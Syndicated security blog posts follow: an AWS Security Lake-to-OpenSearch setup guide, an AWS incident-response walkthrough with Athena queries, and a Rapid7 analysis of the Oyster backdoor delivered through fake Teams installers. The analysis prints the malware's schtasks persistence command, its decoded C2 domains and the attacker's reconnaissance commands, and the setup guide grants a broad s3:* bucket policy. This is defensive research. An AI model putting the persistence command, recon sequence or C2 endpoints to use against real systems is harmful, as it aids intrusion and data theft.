  10. Go to the Outputs pane of the main CloudFormation stack. Save the DashboardsProxyURL, OpenSearchInitRoleARN, and PipelineRole values in a text editor to refer to later.

    Figure 7: The stacks in the CREATE_COMPLETE state with the outputs panel shown

    Figure 7: The stacks in the CREATE_COMPLETE state with the outputs panel shown

  11. Open the DashboardsProxyURL value in a new tab.

    Note: Because the proxy relies on a self-signed certificate, you will get an insecure certificate warning. You can safely ignore this warning and proceed. For a production workload, you should issue a trusted private certificate from your internal public key infrastructure or use AWS Private Certificate Authority.

  12. You will be presented with the Amazon Cognito sign-in page. Use administrator as the username.
  13. Access Secrets Manager to find the password. Select the secret that was created as part of the stack.

    Figure 9: Retrieve the secret value

    Figure 8: The Cognito password in Secrets Manager

  14. Choose Retrieve secret value to get the password.

    Figure 9: Retrieve the secret value

    Figure 9: Retrieve the secret value

  15. After signing in, you will be prompted to change your password and will be redirected to the OpenSearch dashboard.
  16. If you see a pop-up that states Start by adding your own data, select Explore on my own. On the next page, Introducing new OpenSearch Dashboards look & feel, choose Dismiss.
  17. If you see a pop-up that states Select your tenant, select Global, and then choose Confirm.

    Figure 10: Select and confirm your tenant

    Figure 10: Select and confirm your tenant

To initialize the OpenSearch cluster:

  1. Choose the menu icon (three stacked horizontal lines) on the top left and select Security under the Management section.

    Figure 11: Navigating to the Security page in the OpenSearch console

    Figure 11: Navigating to the Security page in the OpenSearch console

  2. Select Roles. On the Roles page, search for the all_access role and select it.
  3. Select Mapped users, and then select Manage mapping.
  4. On the Map user screen, choose Add another backend role. Paste the value for the OpenSearchInitRoleARN from the list of CloudFormation outputs. Choose Map.

    Figure 12: Mapping the role on the Security page in the OpenSearch console

    Figure 12: Mapping the role on the Security page in the OpenSearch console

  5. Leave this tab open and return to the AWS Management console. Go to the AWS Lambda console and select the function named xxxxxx-OS_INIT.
  6. In the function screen, choose Test, and then Create new test event.

    Figure 13: Creating the test event in the Lambda console

    Figure 13: Creating the test event in the Lambda console

  7. Choose Invoke. The function should run for about 30 seconds. The execution results should show the component templates that have been created. This Lambda function creates the component and index templates to ingest Open Cybersecurity Framework (OCSF) formatted data, a set of indices and aliases that correspond with the OCSF classes generated by Security Lake, and a rollover policy that will rollover the index daily or if it becomes larger than 40 GB.

    Figure 14: Invoking the Lambda function in the Lambda console

    Figure 14: Invoking the Lambda function in the Lambda console

To set up the pipeline

  1. Return to the Map user page on the OpenSearch console.
  2. Choose Add another backend role. Paste the value of the PipelineRole from the CloudFormation template output. Choose This will allow the OpenSearch Ingestion to write to the cluster.

    Figure 15: Mapping the OpenSearch Ingestion role

    Figure 15: Mapping the OpenSearch Ingestion role

  3. Access the Amazon S3 console in the Log Archive account where Security Lake is hosted.
  4. Select the Security Lake bucket in your roll-up Region. It should look like aws-security-data-lake-region-xxxxxxxxxx.
  5. Choose Permissions, then Edit under Bucket policy.
  6. Add this policy to the end of the existing bucket policy. Replace the Principal with the ARN of the PipelineRole and the name of your Security Lake bucket in the Resource section.
    {
                "Sid": "Cross Account Permissions",
                "Effect": "Allow",
                "Principal": {
                    "AWS": "<Pipeline role ARN>"
                },
                "Action": "s3:*",
                "Resource": [
                    "arn:aws:s3:::<Security Lake bucket name>/*",
                    "arn:aws:s3:::<Security Lake bucket name>"
                ]
            }

    Figure 16: The modified S3 bucket access policy

    Figure 16: The modified S3 bucket access policy

  7. Choose Save changes.

To upload the index patterns and dashboards

  1. Download the Security-lake-objects.ndjson file by right-clicking on this link and selecting Save link as.
  2. Access the Dashboards Management page through the navigation menu.
  3. Choose Saved objects in the navigation pane.
  4. On the Saved Objects page, choose Import on the right side of the screen.

    Figure 17: Import saved objects

    Figure 17: Import saved objects

  5. Choose Import and select the Security-lake-objects.ndjson file that you downloaded previously.
  6. Leave Create new objects with unique IDs selected and choose Import.
  7. You can now view the ingested logs on the Discover page and visualizations on the Dashboards page, which you can find on the navigation bar.

    Figure 18: The Discover page displaying ingested logs

    Figure 18: The Discover page displaying ingested logs

Clean up

To avoid unwanted charges, delete the main CloudFormation template, named os-stack-<day>-<month> (not the nested stacks).

Figure 19: Select the main stack in the CloudFormation console

Figure 19: Select the main stack in the CloudFormation console

Modify the Security Lake bucket policy in the logging account to remove the section you added that trusted the PipelineRole. Be careful not to modify the rest of the policy because it could impact the functioning of Security Lake and other subscribers.

Figure 20: The S3 bucket policy with the relevant sections that needed to be deleted

Figure 20: The S3 bucket policy with the relevant sections that needed to be deleted

Conclusion

In this post, you learned how to plan an OpenSearch deployment with Amazon OpenSearch Service to ingest logs from Amazon Security Lake. With this solution, you’re able to aggregate and manage logs with Security Lake and visualize and monitor those logs with OpenSearch Service. After deployment, monitor the OpenSearch Service metrics to determine if you need to scale this up or out for improved performance. In part 2, I will show you how to set up the Security Analytics detector to generate alerts to security findings in near-real time.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Kevin Low
Kevin Low

Kevin is a Security Solutions Architect at AWS who helps the largest customers across ASEAN build securely. He specializes in threat detection and incident response and is passionate about integrating resilience and security. Outside of work, he loves spending time with his wife and dog, a poodle called Noodle.

Accelerate incident response with Amazon Security Lake – Part 2

Post Syndicated from Frank Phillis original https://aws.amazon.com/blogs/security/accelerate-incident-response-with-amazon-security-lake-part-2/

This blog post is the second of a two-part series where we show you how to respond to a specific incident by using Amazon Security Lake as the primary data source to accelerate incident response workflow. The workflow is described in the Unintended Data Access in Amazon S3 incident response playbook, published in the AWS incident response playbooks repository.

The first post in this series outlined prerequisite information and provided steps for setting up Security Lake. The post also highlighted how Security Lake can add value to your incident response capabilities and how that aligns with the National Institute of Standards and Technology (NIST) SP 800-61 Computer Security Incident Handling Guide. We demonstrated how you can set up Security Lake and related services in alignment with the AWS Security Reference Architecture (AWS SRA).

The following diagram shows the service architecture that we configured in the previous post. The highlighted services (Amazon Macie, Amazon GuardDuty, AWS CloudTrail, AWS Security Hub, Amazon Security Lake, Amazon Athena, and AWS Organizations) are relevant to the example referenced in this post, which focuses upon the phases of incident response outlined in NIST SP 800-61.

Figure 1: Example architecture configured in the previous blog post

Figure 1: Example architecture configured in the previous blog post

The first phase of the NIST SP 800-61 framework is preparation, which was covered in part 1 of this two-part blog series. The following sections cover phase 2 (detection and analysis) and phase 3 (containment, eradication, and recovery) of the NIST framework, and demonstrate how Security Lake accelerates your incident response workflow by providing a central datastore of security logs and findings in a standardized format.

Consider a scenario where your security team has received an Amazon GuardDuty alert through Amazon EventBridge for anomalous user behavior. As a result, the team becomes aware of potential unintended data access. GuardDuty noted unusual IAM user activity for the AWS Identity and Access Management (IAM) user Service_Backup and generated a finding. The security team had set up a rule in EventBridge that sends an alert email notifying them of GuardDuty findings relating to IAM user activity. At this point, the security team is unsure if any malicious activity has occurred, however, the username is not familiar. The security team should investigate further to determine whether the finding is a false positive by querying data in Security Lake. In line with the NIST incident response framework, the team moves to phase 2 of this investigation.

Phase 2: Acquire, preserve, and document evidence

The security team wants to investigate which API calls the unfamiliar user has been making. First, the team checks AWS CloudTrail management activity for the user, and they can do that by using Security Lake. They want a list of that user’s activity, which will help them in several ways:

  1. Give them a list of API calls that warrant further investigation (especially Create*)
  2. Give an indication whether the activity is unusual or not (in the context of “typical” user activity within the account, team, user group, or individual user)
  3. Give an indication of when potentially malicious activity might have started (user history)

The team can use Amazon Athena to query CloudTrail management events that were captured by Security Lake. In some cases, compromised user accounts might have existed for a long time previously as legitimate users and made tens of thousands of API calls. In such a case, how would a security team identify the calls that might need further investigation? A quick way to get a summary list of API calls the user has made would be to run a query like the following:

SELECT DISTINCT api.operation FROM amazon_security_lake_table_us_west_2_cloud_trail_mgmt_2_0
WHERE lower(actor.user.name) = 'service_backup'

From the results, the team can determine information and queries of interest to focus on for further investigation. To begin with, the security team uses the preceding query to enumerate the number and type of API calls made by the user, as shown in Figure 2.

Figure 2: Example API call summary made by an IAM user

Figure 2: Example API call summary made by an IAM user

The initial query results in Figure 2 show API calls that could indicate privilege elevation (creating users, attaching user policies, and similar calls are a good indicator). There are other API calls that indicate that additional resources may have been created, such as Amazon Simple Storage Service (Amazon S3) buckets and Amazon Elastic Compute Cloud (Amazon EC2) instances.

Note that in this early phase, the team didn’t time-bound the query. However, if there is a high degree of confidence that the team can focus on a specific time or date range, the query can be further modified. How would the team decide on a time period to focus on? When the team received the alert email from EventBridge, that email included information about the GuardDuty finding, including the time it was observed. The team can use that time as an anchor to search around.

The team now wants to look at the user’s activity in a bit more detail. To do that, they can use a query that returns more detail for each of the API calls the user has made:

SELECT time_dt AS "Time Date", metadata.product.name AS "Log Source", cloud.region, actor.user.type, actor.user.name, actor.user.account.uid AS "User AWS Acc ID", api.operation AS "API Operation", status AS "API Response", api.service.name AS "Service", api.request.data AS "Request Data"
FROM amazon_security_lake_table_us_west_2_cloud_trail_mgmt_2_0
WHERE lower(actor.user.name) = 'service_backup';
Figure 3: Example CloudTrail activity for an IAM user

Figure 3: Example CloudTrail activity for an IAM user

Figure 3 shows the result of the example query. The team observes that the user created an S3 bucket and performed other management plane actions, including creating IAM users and attaching the administrator access policy to a newly created user. Attempts were made to create other resources such as Amazon EC2 instances, but these were not successful. So the team needs to do further investigation on the newly created IAM users and S3 buckets, but they don’t need to take further action on EC2 instances, at least for this user.

The team starts to focus on investigating the IAM permissions of the Service_Backup user because some resources created by this user could lead to privilege elevation (for example: CreateUser >> AttachPolicy >> CreateAccessKey). The team verifies that the policy attached to that new user was AdminAccess. The activities of this newly created user should be investigated. Now, with a broad idea of that user’s activity and the time the activity occurred, the security team wants to focus on IAM activity, so that they can understand what resources have been created. Those resources will likely also need to be investigated.

The team can use the following query to find more detail about the resources that the user has created, modified, or deleted. In this case, the user has also created additional IAM users and roles. The team uses timestamps to limit query results to a specific time range during which they believe the suspicious activity occurred, and can also focus on IAM activity specifically.

SELECT time_dt AS "Time", cloud.region AS "Region", actor.session.issuer AS "Role Issuer", actor.user.name AS "User Name", api.operation AS "API Call", json_extract(api.request.data, '$.userName') AS "Target Principal", json_extract(api.request.data, '$.policyArn') AS "Target Policy", json_extract(api.request.data, '$.roleName') AS "Target Role", actor.user.uid AS "User ID", user.name AS "Target Principal", status AS "Response Status", accountid AS "AWS Account"
FROM amazon_security_lake_table_us_west_2_cloud_trail_mgmt_2_0
WHERE (lower(api.operation) LIKE 'create%' OR lower(api.operation) LIKE 'attach%' OR lower(api.operation) LIKE 'delete%')
AND lower(api.service.name) = 'iam.amazonaws.com'
AND lower(actor.user.name) = 'service_backup'
AND time_dt BETWEEN TIMESTAMP '2024-03-01 00:00:00.000' AND TIMESTAMP  '2024-05-31 23:59:00.000';
Figure 4: CloudTrail IAM activity for a specific user with additional resource detail

Figure 4: CloudTrail IAM activity for a specific user with additional resource detail

This additional detail helps the security team focus on the resources created by the Service_Backup user. These will need to be investigated further and most likely quarantined. If further analysis is required, resources can be disabled, or (in some instances) copied over to a forensic account to conduct the analysis.

Having identified newly created IAM resources that require further investigation, the team now continues by focusing on the resources created in S3. Has the Service_Backup user put objects into that bucket? Have they interacted with objects in any other buckets? To do that, the team queries the S3 data events by using Athena, as follows:

SELECT time_dt AS "Time Date", cloud.region AS "Region", actor.user.type, actor.user.name AS "User Name", api.operation AS "API Call", status AS "Status", api.request.data AS "Request Data", accountid AS "AWS Account ID"
FROM amazon_security_lake_table_us_west_2_s3_data_2_0
WHERE lower(actor.user.name) = 'service_backup';

The security team discovers that the Service_Backup user created an S3 bucket named breach.notify and uploaded a file named data-locked-xxx.txt in the bucket (the bucket name is also returned in the query results shown in Figure 3). Additionally, they see GetObject API calls for potentially sensitive data, followed by DeleteObject API calls for the same data and additional potentially sensitive data files. These are a group of CSV files, for example cc-data-2.csv, as shown in Figure 5.

Figure 5: Example Amazon S3 API activity for an IAM user

Figure 5: Example Amazon S3 API activity for an IAM user

Now the security team has two important goals:

  1. Protect and recover their data and resources
  2. Make sure that any applications that are reliant on those resources or data are available and serving customers

The security team knows that their S3 buckets do contain sensitive data, and they need a quick way to understand which files may be of value to a threat actor. Because the security team was able to quickly investigate their S3 data logs and determine that files have indeed been downloaded and deleted, they already have actionable information. To enrich that with additional context, the team needs a way to verify whether the file contains sensitive data. Amazon Macie can be configured to detect sensitive data in S3 buckets and natively integrate with Security Hub. The team had already configured Macie to scan their buckets and provide alerts if potentially sensitive data is discovered. The team can continue to use Athena to query Security Hub data stored in Security Lake, to see if the Macie results could be related to those files or buckets. The team looks for such findings that were generated around the time that the breach.notify S3 bucket was created, with the unusually named object uploaded, through the following Athena query:

SELECT time_dt AS "Date/Time", metadata.product.name AS "Log Source", cloud.account.uid AS "AWS Account ID", cloud.region AS "AWS Region", resources[1].type AS "Resource Type", resources[1].uid AS "Bucket ARN", resources[2].type AS "Resource Type 2", resources[2].uid AS "Object Name", finding_info.desc AS "Finding summary" FROM amazon_security_lake_table_us_west_2_sh_findings_2_0
WHERE cloud.account.uid = '<YOUR_AWS_ACCOUNT_ID>'
AND lower(metadata.product.name) = 'macie'
AND time_dt BETWEEN TIMESTAMP '2024-03-10 00:00:00.000' AND TIMESTAMP  '2024-03-14 23:59:00.000';
Figure 6: Example Amazon Macie finding summary for data in S3 buckets

Figure 6: Example Amazon Macie finding summary for data in S3 buckets

As Figure 6 shows, the team used the preceding query to pull just the information they needed to help them understand whether there is likely sensitive information in the bucket, which files contain that information, and what kind of information it is. From these results, it appears that the files listed do contain sensitive information, which appears to be credit card related data.

It’s time to stop and briefly review what the team now knows, and what still needs to be done. The team established that the Service_Backup user created additional IAM users and assigned wide-ranging permissions to those users. They also found that the Service_Backup user downloaded what appears to be confidential data, and then deleted those files from the customer’s buckets. Meanwhile, the Service_Backup user created a new S3 bucket and stored ransom files in it. In addition to this, that user also created IAM roles and attempted to create EC2 instances. In our example scenario, the first part of the investigation is complete.

There are a few things to note about what the team has done so far with Security Lake. First, because they’ve set up Security Lake across their entire organization, the team can query results from accounts in their organization, for various types of resources. That in itself saves a significant amount of time during the investigative process. Additionally, the team has seamlessly queried different sets of data to get an outcome—so far they have queried CloudTrail management events, S3 data events, and Macie findings through Security Hub—with the preceding queries done through Security Lake, directly from the Athena console, with no account or role switching, and no tool switching.

Next, we’ll move on to the containment step.

Phase 3: Containment, eradication, and recovery

Having gathered sufficient evidence in the previous phases to act, it’s now time for the team to contain this incident and focus on the AWS API by using either the AWS Management Console, the AWS CLI, or other tools. For the purposes of this blog post, we’ll use the CLI tools.

The team needs to perform several actions to contain the incident. They want to reduce the risk of further data exposure and the creation, modification, or deletion of resources in these AWS accounts. First, they will disable the Service_Backup user’s access and subsequently investigate and assess whether to disable the access of the IAM principal which created that user. Additionally, because Service_Backup created other IAM users, those users must also be investigated using the same process outlined earlier.

Next, the security team needs to determine whether or how they can restore the sensitive data that has been deleted from the bucket. If the bucket has versioning enabled, the act of deleting the object will result in the next most recent version becoming the current version. Alternatively, if they are using AWS Backup to protect their Amazon S3 data, they will be able to restore the most recently backed-up version. It’s worth noting that there could be other ways to restore that data—for example, the organization might have configured cross-Region replication for S3 buckets or other methods to protect their data.

After completing the steps to help prevent further access of the impacted IAM users, and restoring relevant data in impacted S3 buckets, the team now turns their attention to the additional resources created by the now-disabled user. Because these resources include IAM resources, the team needs a list of what has been created and deleted. They could see that information from earlier queries, but now decide to focus just on IAM resources by using the following example query;

SELECT time_dt AS "Time", cloud.region AS "Region", actor.session.issuer AS "Role Issuer", actor.user.name AS "User Name", api.operation AS "API Call", json_extract(api.request.data, '$.userName') AS "Target Principal", json_extract(api.request.data, '$.policyArn') AS "Target Policy", json_extract(api.request.data, '$.roleName') AS "Target Role", actor.user.uid AS "User ID", user.name AS "Target Principal", status AS "Response Status", accountid AS "AWS Account"
FROM amazon_security_lake_table_us_west_2_cloud_trail_mgmt_2_0
WHERE (lower(api.operation) LIKE 'create%' OR lower(api.operation) LIKE 'attach%' OR lower(api.operation) LIKE 'delete%')
AND lower(api.service.name) = 'iam.amazonaws.com'
AND time_dt BETWEEN TIMESTAMP '2024-03-01 00:00:00.000' AND TIMESTAMP  '2024-05-31 23:59:00.000';

This query returns a concise and informative list of activities for several users. There is a separate column for the role name or the user ID, corresponding to IAM roles and users, respectively, as shown in Figure 7.

Figure 7: IAM mutating API activity

Figure 7: IAM mutating API activity

The team uses the AWS CLI to revoke IAM role session credentials, to verify and, if necessary, to modify the role’s trust policy. They also capture an image of the EC2 instance for forensic analysis and terminate the instance. They will copy the data they want to save from the questionable S3 buckets and then delete the buckets, or at least remove the bucket policy.

After completing these tasks, the security team now confirms with the application owners that application recovery is complete or ongoing. They will subsequently review the event and undertake phase 4 of the NIST framework (post-incident activity) to find the root cause, look for opportunities for improvement, and work on remediating any configuration or design flaws that led to the initial breach.

Conclusion

This is the second post in a two-part series about accelerating security incident response with Security Lake. We used anomalous IAM user activity as an incident example to show how you can use Security Lake as a central repository for your security logs and findings, to accelerate the incident response process.

With Security Lake, your security team is empowered to use analytics tools like Amazon Athena to run queries against a central point of security logs and findings from various security data sources, including management logs and S3 data logs from AWS CloudTrail, Amazon Macie findings, Amazon GuardDuty findings, and more.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Frank Phillis

Frank Phillis
Frank is a Senior Solutions Architect (Security) at AWS. He enables customers to get their security architecture right. Frank specializes in cryptography, identity, and incident response. He’s the creator of the popular AWS Incident Response playbooks and regularly speaks at security events. When not thinking about tech, Frank can be found with his family, riding bikes, or making music.
You can follow Frank on LinkedIn.

Jerry Chen

Jerry Chen
Jerry is a Senior Cloud Optimization Success Solutions Architect at AWS. He focuses on cloud security and operational architecture design for AWS customers and partners.
You can follow Jerry on LinkedIn.

Malvertising Campaign Leads to Execution of Oyster Backdoor

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/06/17/malvertising-campaign-leads-to-execution-of-oyster-backdoor/

Malvertising Campaign Leads to Execution of Oyster Backdoor

The following analysts contributed to this blog: Thomas Elkins, Daniel Thiede, Josh Lockwood, Tyler McGraw, and Sasha Kovalev.

Executive Summary

Rapid7 has observed a recent malvertising campaign that lures users into downloading malicious installers for popular software such as Google Chrome and Microsoft Teams. The installers were being used to drop a backdoor identified as Oyster, aka Broomstick. Following execution of the backdoor, we have observed enumeration commands indicative of hands-on-keyboard activity as well as the deployment of additional payloads.

In this blog post, we will examine the delivery methods of the Oyster backdoor, provide an in-depth analysis of its components, and offer a Python script to help extract its obfuscated configuration.

Overview

Initial Access

In three separate incidents, Rapid7 observed users downloading supposed Microsoft Teams installers from typo-squatted websites. Users were directed to these websites after using search engines such as Google and Bing for Microsoft Teams software downloads. Rapid7 observed that the websites were masquerading as Microsoft Teams websites, enticing users into believing they were downloading legitimate software when, in reality, they were downloading the threat actor’s malicious software.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 1 – Fake Microsoft Teams Website

In one case, a user was observed navigating to the URL hxxps://micrsoft-teams-download[.]com/, which led to the download of the binary MSTeamsSetup_c_l_.exe. Initial analysis of the binary MSTeamsSetup_c_l_.exe showed that the binary was assigned by an Authenticode certificate issued to “Shanxi Yanghua HOME Furnishings Ltd”.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 2 – MSTeamsSetup_c_l_.exe File Information

Searching VirusTotal for other files signed by “Shanxi Yanghua HOME Furnishings Ltd” showed the following:

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 3 – VirusTotal Signature Search Results

The results indicated other versions of the installer, each impersonating as a legitimate software installer. We observed that the first installer was submitted to VirusTotal around mid-May 2024.

In a related incident that occurred on May 29, 2024, we observed another binary posing as a Microsoft Teams setup file, TMSSetup.exe, which was assigned a valid certificate issued to “Shanghai Ruikang Decoration Co., Ltd”. As of May 30, 2024, that certificate has been revoked.

VirusTotal analysis of the binary MSTeamsSetup_c_l_.exe indicates it is associated with a malware family known as Oyster, dubbed Broomstick by IBM.

What is Oyster/Broomstick?

Oyster aka Broomstick aka CleanUpLoader is a family of malware first spotted in September of 2023 by researchers at IBM. While not much is known about the malware, it was delivered via a loader called Oyster Installer, which masqueraded as a browser installer. The installer was responsible for dropping the backdoor component, Oyster Main. Oyster Main was responsible for gathering information about the compromised host, handling communication with the hard-coded command-and-control (C2) addresses, and providing the capability for remote code execution.

In February, researchers on Twitter observed the same backdoor component and started to name the Oyster Main backdoor, CleanUpLoader.

In recent incidents, Rapid7 has observed Oyster Main being delivered without the Oyster Installer.

Technical Analysis

Initial analysis of the binary MSTeamsSetup_c_l_.exe revealed that two binaries were stored within the resource section. During execution, a function was observed using FindResourceA to locate the binaries, followed by LoadResource to access them. These binaries were then subsequently dropped into the Temp folder. We observed that the intended names of the two binaries dropped by MSTeamsSetup_c_l_.exe were CleanUp30.dll and MSTeamsSetup_c_l_.exe (the legitimate Microsoft Teams installer).

After dropping the binary CleanUp30.dll into the Temp directory, the program executes the DLL, passing the string rundll32.exe %s,Test to the function CreateProcessA, where %s stores the value CleanUp30.dll.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 4 – Execution of CleanUp30.dll

After the execution of CleanUp30.dll, the program proceeds to initiate the legitimate Microsoft Teams installer, MSTeamsSetup_c_l_.exe, also located within the Temp directory. This tactic is employed to avoid raising suspicion from the user.

CleanUp30.dll Analysis

During the execution of CleanUp30.dll, Rapid7 observed that the binary starts by attempting to create the hard coded mutual exclusion (mutex) ITrkfSaV-4c7KwdfnC-Ds165XU4C-lH6R9pk1. Mutex creation is often used by programs in order to determine if the program is already running another instance. If the program is already running, the program will terminate the new instance.

After creating the mutex, the binary determines its execution path by calling the function GetModuleFilenameA. The value is stored as a string and used as a parameter for the creation of a scheduled task, ClearMngs. The scheduled task is created using the function ShellExecuteExW, passing the following as the command line:

schtasks.exe /create /tn ClearMngs /tr "rundll32 '<location of binary>\CleanUp30.dll',Test" /sc hourly /mo 3 /f

The purpose of the scheduled task ClearMngs is to execute the binary <location of binary>\CleanUp30.dll with the exported function of Test using rundll32.exe every three hours.

After the creation of the scheduled task, the binary then proceeds to decode its C2 servers using a unique decoding function. The decoding function begins by taking in a string of encoded characters, and its length is in bytes. The decoding function then proceeds to read in each byte, starting from the end of the encoded string.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 5 – The DLL’s Decoding Loop

Each byte of the encoded string is used as an index location to retrieve the decoded byte from a hard-coded byte map. A byte map is a byte array containing 256 bytes in a randomized order, one for each possible byte value from 1 to 256. Malware authors sometimes use this technique to obfuscate strings and other data. The iteration counter (i) used within the condition for the decoding loop is compared to half of the encoded string’s length as the decoding loop swaps two bytes at a time. The bytes of the encoded string are decoded and swapped beginning at the start and end bytes of the string and the decoding loop then progresses towards the center of the string from each end.

The loop swaps the bytes to reverse the decoded string, as the original plaintext strings stored in the malware were reversed prior to encoding. When the center of the string is reached, the decoding process is complete. Due to this algorithm, all the encoded strings that are passed must be of even length to avoid further processing. Immediately after the decoded string is loaded onto the stack, the malware then re-encodes the string using a similar loop. The final result for the first decoded string is a carriage return line feed (CRLF) delimited list of C2 domains.

We constructed a Python script that can decode all the encoded strings contained within the CleanUp.dll binaries, including previous versions. The Python script can be found in our GitHub repository.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 6 – Sample Output from Python Script

Using our Python script, it revealed some of the C2 functionality, along with several JSON fields that are used to build a fingerprint of the infected system:

Hex Encoded String Decoded String
2ec6a676766fc6f4960e86 api/connect
50b0aea6747686b64eaef69e2ec6a64e96262ea64e supfoundrysettlers.us
50b0b6f6c674a646a6b6f6164ea66ea64ea616ee whereverhomebe.com
50b0ceae74ce4ea6362e2ea6ce9e4e2676aef6660eaece retdirectyourman.eu
76f6ce56f476f6962e86c696360e0e86045ca60e9e2ab42e76a62e76f6c2 Content-Type: application/json
76f696cece65cef4960e86 api/session
a61ea67426b6c63a346ceaf2eace9eca3a \SysWOW64\cmd.exe
a61ea6744ccc36362676ae4e3a2c6ceaf2eace9eca3a \SysWOW64\rundll32.exe
d2f2 OK
3a0eb6a62a3a \Temp\
445c442696fa267686b6b6f6c6443444 ","command_id":"
be44 "}
445c44649644de {"id":"
445c442e36aecea64e443444 ","result":"
445c442696fa76f696cecea6ce443444 ","session_id":"
445c44ceae2e862ece443444 ","status":"
2e1e2e740eae7686a636c63a \cleanup.txt
445c44a6b68676fa4e652eae0eb6f6c6443444 ","computer_name":"
0ccc445c4476f696ce72a66efa363626443444 ","dll_version":"30
445c44769686b6f626443444 ","domain":"
be44 "}
445c44649644de {"id":"
445c443686c6f636fa0e96443444 ","ip_local":"
445c44cef6443444 ","os":"
445c44263696ae46facef6443444 ","os_build":"
445c44a6e6a636656e964e0e443444 ","privilege":"

After the binary decodes the C2 addresses, the program proceeds to fingerprint the infected machine, using the following functions:

Function Description
DsRoleGetPrimaryDomainInformation Used to gather information about the domain the compromised machine resides in. In particular, the function returns the domain name.
GetUserNameW Provides the name of the user in which the program is running under.
NetUserGetInfo Provides details of the user under which the program is running. In this case, the program is querying if the user is admin or user.
GetComputerNameW Provides the name of the compromised machine in which the binary is running on.
RtlGetVersion Returns version information about the currently running operating system including name and version number.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 7 – A Selection of Contents of the CleanUp30.dll Code that Outline the Collection of System Information

While enumerating information about the host, the information is stored in the JSON fields uncovered from the encoded strings identified above.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 8 – Example of the Data Collected and Sent via HTTP POST to the Malicious Domains

The fingerprint information is encoded using the same loop previously discussed, where the data string is reversed and encoded using a byte map before being sent.

After the information is encoded, it is sent to the domains whereverhomebe[.]com/, supfoundrysettlers[.]us/, and retdirectyourman[.]eu/ via HTTP POST method. Rapid7 determined that CleanUp30.dll uses the open-source C++ library Boost.Beast to communicate with the observed C2 domains via HTTP and web sockets.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 9 – Captured Network Traffic Attempting to Send POST Requests to whereverhomebe[.]com/ and supfoundrysettlers[.]us/ Following the Execution of CleanUp30.dll

Follow-on Activity

In one of the incidents Rapid7 observed, a PowerShell script was spawned following the execution of another version of CleanUp30.dll, CleanUp.dll. CleanUp.dll, similar to CleanUp30.dll, was originally dropped by the other fake Microsoft Teams installer, TMSSetup.exe, which dropped the binary into the AppData/Local/Temp directory as well.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 10 – PowerShell Command Creating .lnk File DiskCleanUp.lnk

The purpose of the PowerShell script was to create a shortcut LNK file named DiskCleanUp.lnk within C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\. By doing so, this ensured that the LNK file DiskCleanUp.lnk would be run each time the user logged in. The shortcut LNK file was responsible for executing the binary CleanUp.dll using rundll32.exe, passing the export Test.
Following the execution of the PowerShell script, Rapid7 observed execution of additional payloads:

  • k1.ps1
  • main.dll
  • getresult.exe

Unfortunately, during the incident, we were unable to acquire the additional payloads. During the incidents, Rapid7 also observed execution of the following enumeration commands:

Enumeration Description
systeminfo Provides information about the system’s software and hardware configuration
arp -a Shows a list of all IP addresses that the local computer has recently interacted with, along with their corresponding MAC addresses
net group ‘domain computers’ /domain Lists the "Domain Computers" group within an Active Directory domain
"C:\Windows\system32\nslookup.exe" myip.opendns.com resolver1.opendns.com Determines the external IP address
whoami /all Provides detailed information about the current user including user’s privileges, group memberships, and security identifiers (SIDs)
nltest /dclist:<domain_name> Lists all the domain controllers (DCs) for a specific domain
net user admin Provides detailed information about the user ‘admin’ including profile information, group memberships, local group memberships, etc
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall /s Queries the registry to find information about installed software
findstr "DisplayName" Used to filter information, showing only items contained under "DisplayName"

Rapid7 Customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:

  • Persistence – SchTasks Creating A Task Pointed At Users Temp Or Roaming Directory
  • Suspicious Process: RunDLL32 launching CMD or PowerShell
  • Persistence – Schtasks.exe Creating Task That Executes RunDLL32
  • Network Discovery – Nltest Enumerate Domain Controllers
  • Attacker Technique – Determining External IP Via Command Line
  • Suspicious Process – .lnk in PowerShell Command Line

MITRE ATT&CK Techniques

Tactic Technique Description
Resource Development Acquire Infrastructure: Domains (T1583.001) Threat Actor set up typo-squatted domain micrsoft-teams-download[.]com in order to aid in the delivery of the executable MSTeamsSetup_c_l_.exe
Execution Command and Scripting Interpreter: Powershell (T1059.001) Used to create .lnk file DiskCleanUp.lnk and execute the PowerShell payload k1.ps1
Execution User Execution: Malicious File (T1204.002) User executes the binary MSTeamsSetup_c_l_.exe
Persistence Scheduled Task (T1053.005) CleanUp30.DLL and CleanUp.DLL create scheduled task ClearMngs
Defense Evasion Masquerading: Match Legitimate Name or Location (T1036.005) MSTeamsSetup_c_l_.exe masquerades as legitimate Microsoft Teams installer
Defense Evasion Virtualization/Sandbox Evasion: Time Based Evasion (T1497.003) Execution delays are performed by several stages throughout the attack flow
Collection Data from Local System (T1005) Threat Actors enumerated information about compromised hosts using the backdoor CleanUp DLL’s
Command and Control Data Encoding – Non Standard Encoding (T1132.002) CleanUp DLL’s send encoded data to C2’s using unique encoding function

IOCs

IOC Hash Description
TMSSetup.exe 9601f3921c2cd270b6da0ba265c06bae94fd7d4dc512e8cb82718eaa24accc43 The malicious executable downloaded from prodfindfeatures[.]com/
MSTeamsSetup_c_l_.exe 574C70E84ECDAD901385A1EBF38F2EE74C446034E97C33949B52F3A2FDDCD822 The malicious executable downloaded from prodfindfeatures[.]com/
CleanUp30.dll CFC2FE7236DA1609B0DB1B2981CA318BFD5FBBB65C945B5F26DF26D9F948CBB4 The .dll file that is run by run32dll.exe following the execution of MSTeamsSetup_c_l_.exe
